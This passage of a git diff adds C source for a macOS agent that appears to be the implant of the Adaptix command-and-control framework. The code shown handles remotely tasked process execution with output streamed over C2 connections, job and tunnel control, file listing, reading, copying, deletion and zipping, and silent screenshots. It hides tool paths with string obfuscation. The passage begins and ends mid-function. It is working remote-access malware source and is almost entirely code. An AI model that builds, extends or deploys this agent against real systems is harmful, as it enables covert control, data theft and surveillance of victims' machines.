0) err_n = 0; + + // Check if process exited + int status; + int wret = R_waitpid(pid, &status, WNOHANG); + if (wret > 0) process_done = 1; + + // Send output if any + if (out_n > 0 || err_n > 0) { + // Build stdout/stderr strings (null-terminate for msgpack str) + char* out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char* err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str, (size_t)out_n + 1); + ax_free(err_str, (size_t)err_n + 1); + } + } + + // If canceled, kill process + if (job->canceled) { + R_killpg(pid, 9); // SIGKILL + R_waitpid(pid, (void*)0, 0); + } + + // Drain remaining output + for (;;) { + ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (out_n <= 0 && err_n <= 0) break; + if (out_n < 0) out_n = 0; + if (err_n < 0) err_n = 0; + + char* out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char* err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str, (size_t)out_n + 1); + ax_free(err_str, (size_t)err_n + 1); + } + + // Send finish message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + R_close(stdout_pipe[0]); + R_close(stderr_pipe[0]); + ax_free(out_buf, RUN_CHUNK_SIZE); + ax_free(err_buf, RUN_CHUNK_SIZE); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + + // Free args + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; +} + +int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsRun{Program, Args, Task} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char program[4096] = {0}; + char* args[64]; + int argc = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + for (uint32_t j = 0; j < arr_count && argc < 63; j++) { + const char* v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) == 0) { + args[argc] = (char*)ax_malloc(vl + 1); + ax_memcpy(args[argc], v, vl); + args[argc][vl] = '\0'; + argc++; + } + } + } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || program[0] == '\0') { + for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1); + write_error(w, "missing task or program"); + return 0; + } + + // Allocate job slot + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { + for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1); + write_error(w, "max jobs reached"); + return 0; + } + + job_entry_t* job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_RUN; + job->active = 1; + + // Prepare thread args + run_args_t* rargs = (run_args_t*)ax_malloc(sizeof(run_args_t)); + ax_memset(rargs, 0, sizeof(run_args_t)); + rargs->job_idx = idx; + ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1); + ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1); + rargs->argc = argc; + for (int i = 0; i < argc; i++) + rargs->args[i] = args[i]; // Transfer ownership + + R_pthread_create(&job->thread, (void*)0, run_thread, rargs); + R_pthread_detach(job->thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "run started"); + return 0; +} + +// ── Job List ── +// Returns list of active jobs: [{job_id, job_type}, ...] + +int task_job_list(mp_writer_t* w) { + job_context_t* ctx = &g_job_ctx; + + // Count active jobs + int count = 0; + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) count++; + } + + mp_write_map(w, 1); + mp_write_str(w, "jobs", 4); + mp_write_array(w, (uint32_t)count); + + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) { + mp_write_map(w, 2); + mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id); + mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type); + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + + return 0; +} + +// ── Job Kill ── +// Go: ParamsJobKill{Id string} + +int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + const char* id = (const char*)0; + uint32_t id_len = 0; + + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 2 && ax_memcmp(k, "id", 2) == 0) { + mp_read_str(&r, &id, &id_len); + } else { + mp_skip(&r); + } + } + + if (!id || id_len == 0) { write_error(w, "missing id"); return 0; } + + // Copy ID to null-terminated string + char id_str[64] = {0}; + if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1; + ax_memcpy(id_str, id, id_len); + + job_context_t* ctx = &g_job_ctx; + + // Search in jobs (downloads + runs) + int idx = jobs_find(ctx, id_str); + if (idx >= 0) { + ctx->jobs[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "job canceled"); + return 0; + } + + // Search in tunnels + // Try to parse as integer for channel_id + int ch_id = ax_atoi(id_str); + int tidx = tunnels_find(ctx, ch_id); + if (tidx >= 0) { + ctx->tunnels[tidx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel canceled"); + return 0; + } + + // Search in terminals + int term_idx = terminals_find(ctx, ch_id); + if (term_idx >= 0) { + ctx->terminals[term_idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal canceled"); + return 0; + } + + write_error(w, "job not found"); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h new file mode 100644 index 00000000..b5f48946 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h @@ -0,0 +1,16 @@ +#ifndef TASKS_ASYNC_H +#define TASKS_ASYNC_H + +#include "msgpack.h" +#include + +/// Async command handlers — download, upload, run, job_list, job_kill +/// These launch background threads with separate C2 connections + +int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_job_list(mp_writer_t* w); +int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_ASYNC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c new file mode 100644 index 00000000..363e79e4 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c @@ -0,0 +1,501 @@ +#include "tasks_fs.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Helper: expand ~ to home directory +static void normalize_path(const char* input, char* out, size_t out_size) { + if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) { + const char* home = R_getenv("HOME"); + if (!home) { + struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid()); + home = pw ? pw->pw_dir : "/tmp"; + } + ax_strncpy(out, home, out_size - 1); + ax_strcat(out, input + 1); + } else { + ax_strncpy(out, input, out_size - 1); + } + out[out_size - 1] = '\0'; +} + +// Helper: parse a single string field from msgpack params +static int parse_string_param(const uint8_t* data, uint32_t data_len, + const char* key_name, char* out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == ax_strlen(key_name) && ax_memcmp(key, key_name, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +// Helper: parse two string fields (src, dst) +static int parse_two_strings(const uint8_t* data, uint32_t data_len, + const char* key1, char* out1, size_t out1_size, + const char* key2, char* out2, size_t out2_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + int found = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == ax_strlen(key1) && ax_memcmp(key, key1, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1); + ax_memcpy(out1, val, vlen); + out1[vlen] = '\0'; + found++; + } else if (klen == ax_strlen(key2) && ax_memcmp(key, key2, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1); + ax_memcpy(out2, val, vlen); + out2[vlen] = '\0'; + found++; + } else { + mp_skip(&r); + } + } + return (found >= 2) ? 0 : -1; +} + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// ---- Command handlers ---- + +int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + if (R_chdir(path) != 0) { + write_error(w, "chdir failed"); + return 0; + } + + char cwd[4096]; + if (R_getcwd(cwd, sizeof(cwd)) == NULL) { + write_error(w, "getcwd failed"); + return 0; + } + + // Response: AnsPwd {path: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check file size (max 1 MB) + struct stat st; + if (R_stat(path, &st) != 0) { + write_error(w, "file not found"); + return 0; + } + if (st.st_size > 1024 * 1024) { + write_error(w, "file size exceeds 1 Mb (use download)"); + return 0; + } + + int fd = R_open(path, O_RDONLY, 0); + if (fd < 0) { + write_error(w, "cannot open file"); + return 0; + } + + uint8_t* content = (uint8_t*)ax_malloc((size_t)st.st_size); + ssize_t n = R_read(fd, content, (size_t)st.st_size); + R_close(fd); + + if (n < 0) { + ax_free(content, (size_t)st.st_size); + write_error(w, "read failed"); + return 0; + } + + // Response: AnsCat {path, content} + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_bin(w, "content", content, (uint32_t)n); + + ax_free(content, (size_t)st.st_size); + return 0; +} + +int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + // Default to "." if no path + ax_strcpy(raw_path, "."); + parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)); + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check if single file + struct stat st; + if (R_stat(path, &st) != 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "path not found"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // Build file list + mp_writer_t files_writer; + mp_writer_init(&files_writer, 4096); + + if (S_ISDIR(st.st_mode)) { + DIR* dir = (DIR*)R_opendir(path); + if (!dir) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // Count entries first + uint32_t count = 0; + struct dirent* ent; + while ((ent = (struct dirent*)R_readdir(dir)) != NULL) count++; + R_rewinddir(dir); + + mp_write_array(&files_writer, count); + while ((ent = (struct dirent*)R_readdir(dir)) != NULL) { + char fullpath[4096]; + ax_strncpy(fullpath, path, sizeof(fullpath) - 1); + size_t plen = ax_strlen(fullpath); + if (plen > 0 && fullpath[plen - 1] != '/') { + ax_strcat(fullpath, "/"); + } + ax_strcat(fullpath, ent->d_name); + + struct stat fst; + if (R_stat(fullpath, &fst) != 0) { + ax_memset(&fst, 0, sizeof(fst)); + } + + // Mode string + char mode[11]; + mode[0] = S_ISDIR(fst.st_mode) ? 'd' : (S_ISLNK(fst.st_mode) ? 'l' : '-'); + mode[1] = (fst.st_mode & S_IRUSR) ? 'r' : '-'; + mode[2] = (fst.st_mode & S_IWUSR) ? 'w' : '-'; + mode[3] = (fst.st_mode & S_IXUSR) ? 'x' : '-'; + mode[4] = (fst.st_mode & S_IRGRP) ? 'r' : '-'; + mode[5] = (fst.st_mode & S_IWGRP) ? 'w' : '-'; + mode[6] = (fst.st_mode & S_IXGRP) ? 'x' : '-'; + mode[7] = (fst.st_mode & S_IROTH) ? 'r' : '-'; + mode[8] = (fst.st_mode & S_IWOTH) ? 'w' : '-'; + mode[9] = (fst.st_mode & S_IXOTH) ? 'x' : '-'; + mode[10] = '\0'; + + // User/Group + struct passwd* pw = (struct passwd*)R_getpwuid(fst.st_uid); + struct group* gr = (struct group*)R_getgrgid(fst.st_gid); + const char* user = pw ? pw->pw_name : "?"; + const char* group = gr ? gr->gr_name : "?"; + + // Date + char date[64]; + struct tm* tm = (struct tm*)R_localtime(&fst.st_mtime); + R_strftime(date, sizeof(date), "%b %d %H:%M", tm); + + // FileInfo map (declaration order) + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", ent->d_name); + mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0); + } + R_closedir(dir); + } else { + // Single file + mp_write_array(&files_writer, 1); + + char mode[11]; + mode[0] = '-'; + mode[1] = (st.st_mode & S_IRUSR) ? 'r' : '-'; + mode[2] = (st.st_mode & S_IWUSR) ? 'w' : '-'; + mode[3] = (st.st_mode & S_IXUSR) ? 'x' : '-'; + mode[4] = (st.st_mode & S_IRGRP) ? 'r' : '-'; + mode[5] = (st.st_mode & S_IWGRP) ? 'w' : '-'; + mode[6] = (st.st_mode & S_IXGRP) ? 'x' : '-'; + mode[7] = (st.st_mode & S_IROTH) ? 'r' : '-'; + mode[8] = (st.st_mode & S_IWOTH) ? 'w' : '-'; + mode[9] = (st.st_mode & S_IXOTH) ? 'x' : '-'; + mode[10] = '\0'; + + struct passwd* pw = (struct passwd*)R_getpwuid(st.st_uid); + struct group* gr = (struct group*)R_getgrgid(st.st_gid); + const char* user = pw ? pw->pw_name : "?"; + const char* group = gr ? gr->gr_name : "?"; + + char date[64]; + struct tm* tm = (struct tm*)R_localtime(&st.st_mtime); + R_strftime(date, sizeof(date), "%b %d %H:%M", tm); + + // Extract basename + const char* basename = raw_path; + for (const char* p = raw_path; *p; p++) { + if (*p == '/') basename = p + 1; + } + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)st.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)st.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", basename); + mp_write_kv_bool(&files_writer, "is_dir", 0); + } + + // Ensure path ends with / + char display_path[4096]; + ax_strncpy(display_path, path, sizeof(display_path) - 2); + size_t dlen = ax_strlen(display_path); + if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(st.st_mode)) { + display_path[dlen] = '/'; + display_path[dlen + 1] = '\0'; + } + + // Response: AnsLs {result, status, path, files} + mp_write_map(w, 4); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_str(w, "path", display_path); + mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len); + + mp_writer_free(&files_writer); + return 0; +} + +int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Use macOS copyfile() for both files and directories + copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE; + if (R_copyfile(src, dst, NULL, flags) != 0) { + write_error(w, "copy failed"); + return 0; + } + + // No response body on success (nil equivalent) + mp_write_nil(w); + return 0; +} + +int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Try rename first (same filesystem) + if (R_rename(src, dst) != 0) { + // Fallback: copy + delete + copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE; + if (R_copyfile(src, dst, NULL, flags) != 0) { + write_error(w, "move failed"); + return 0; + } + // Delete source + struct stat st; + if (R_stat(src, &st) == 0) { + if (S_ISDIR(st.st_mode)) { + // Recursive delete — use a simple shell approach + // since we don't have nftw in nostdlib + // For now, just rmdir (works for empty dirs) + R_rmdir(src); + } else { + R_unlink(src); + } + } + } + + mp_write_nil(w); + return 0; +} + +int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Create directory with parents (simplified mkdirall) + char tmp[4096]; + ax_strncpy(tmp, path, sizeof(tmp) - 1); + for (char* p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = '\0'; + R_mkdir(tmp, 0755); + *p = '/'; + } + } + if (R_mkdir(tmp, 0755) != 0) { + struct stat st; + if (R_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) { + write_error(w, "mkdir failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct stat st; + if (R_stat(path, &st) != 0) { + write_error(w, "path not found"); + return 0; + } + + if (S_ISDIR(st.st_mode)) { + // Recursive directory removal via fork+exec + DEOBF(rm_path, OBF_RM); + pid_t pid = R_fork(); + if (pid == 0) { + R_execl(rm_path, "rm", "-rf", path, NULL); + R_exit(1); + } else if (pid > 0) { + int status; + R_waitpid(pid, &status, 0); + ZERO_STR(rm_path, OBF_RM); + if (WEXITSTATUS(status) != 0) { + write_error(w, "rm -rf failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + } else { + if (R_unlink(path) != 0) { + write_error(w, "unlink failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Use ditto (macOS built-in) to create zip + DEOBF(ditto_path, OBF_DITTO); + pid_t pid = R_fork(); + if (pid == 0) { + R_execl(ditto_path, "ditto", "-c", "-k", "--sequesterRsrc", src, dst, NULL); + R_exit(1); + } else if (pid > 0) { + int status; + R_waitpid(pid, &status, 0); + ZERO_STR(ditto_path, OBF_DITTO); + if (WEXITSTATUS(status) != 0) { + write_error(w, "zip failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + + // Response: AnsZip {path} + mp_write_map(w, 1); + mp_write_kv_str(w, "path", dst); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h new file mode 100644 index 00000000..6af32ac6 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h @@ -0,0 +1,16 @@ +#ifndef TASKS_FS_H +#define TASKS_FS_H + +#include "msgpack.h" +#include + +int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_FS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c new file mode 100644 index 00000000..89106265 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c @@ -0,0 +1,668 @@ +#include "tasks_macos.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _mdbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define _mdbg(msg) ((void)0) +#endif + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// Helper: run a command and capture output +static int run_capture(const char* prog, char* const argv[], char* output, size_t output_size) { + int pipefd[2]; + if (R_pipe(pipefd) != 0) return -1; + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); R_close(pipefd[1]); + return -1; + } + if (pid == 0) { + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(prog, argv, environ); + R_exit(127); + } + + R_close(pipefd[1]); + size_t total = 0; + ssize_t n; + while (total < output_size - 1 && (n = R_read(pipefd[0], output + total, output_size - 1 - total)) > 0) { + total += (size_t)n; + } + output[total] = '\0'; + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + return WEXITSTATUS(status); +} + +// Helper: dynamic buffer version of run_capture +static int run_capture_buf(const char* prog, char* const argv[], buffer_t* out) { + int pipefd[2]; + if (R_pipe(pipefd) != 0) return -1; + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); R_close(pipefd[1]); + return -1; + } + if (pid == 0) { + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(prog, argv, environ); + R_exit(127); + } + + R_close(pipefd[1]); + char buf[4096]; + ssize_t n; + while ((n = R_read(pipefd[0], buf, sizeof(buf))) > 0) { + buf_append(out, (uint8_t*)buf, (size_t)n); + } + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + return WEXITSTATUS(status); +} + +// Parse a string field from msgpack +static int parse_string_field(const uint8_t* data, uint32_t data_len, + const char* key_name, char* out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == ax_strlen(key_name) && ax_memcmp(k, key_name, kl) == 0) { + const char* v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) != 0) return -1; + if (vl >= out_size) vl = (uint32_t)(out_size - 1); + ax_memcpy(out, v, vl); + out[vl] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +int task_screenshot(mp_writer_t* w) { + // Generate unique temp filename + DEOBF(tmp_prefix, OBF_TMP); + char tmpfile[64]; + ax_strcpy(tmpfile, tmp_prefix); + ax_strcat(tmpfile, "/.ax_"); + ZERO_STR(tmp_prefix, OBF_TMP); + + uint8_t rnd[6]; + ax_random_bytes(rnd, 6); + size_t pos = ax_strlen(tmpfile); + for (int i = 0; i < 6; i++) { + tmpfile[pos + i*2] = "0123456789abcdef"[(rnd[i] >> 4) & 0xf]; + tmpfile[pos + i*2 + 1] = "0123456789abcdef"[rnd[i] & 0xf]; + } + tmpfile[pos + 12] = '\0'; + ax_strcat(tmpfile, ".png"); + + DEOBF(screencapture_path, OBF_SCREENCAPTURE); + _mdbg("[SCREENSHOT] path:"); + _mdbg(screencapture_path); + _mdbg("[SCREENSHOT] tmpfile:"); + _mdbg(tmpfile); + char* argv[] = { "screencapture", "-x", tmpfile, NULL }; + int ret = run_capture(screencapture_path, argv, (char[1]){0}, 1); + ZERO_STR(screencapture_path, OBF_SCREENCAPTURE); + +#ifdef DEBUG_TRACE + { + char rbuf[48]; + int ri = 0; + const char* rp = "[SCREENSHOT] ret="; + while (*rp) rbuf[ri++] = *rp++; + int rv = ret; + char nb[8]; int ni = 0; + if (rv == 0) { nb[ni++] = '0'; } + else { do { nb[ni++] = '0' + (rv % 10); rv /= 10; } while (rv > 0); } + while (ni > 0) rbuf[ri++] = nb[--ni]; + rbuf[ri] = '\0'; + _mdbg(rbuf); + } +#endif + + if (ret != 0) { + R_unlink(tmpfile); + write_error(w, "screencapture failed"); + return 0; + } + + int fd = R_open(tmpfile, O_RDONLY, 0); + if (fd < 0) { + _mdbg("[SCREENSHOT] cannot open tmpfile (TCC Screen Recording permission likely missing)"); + write_error(w, 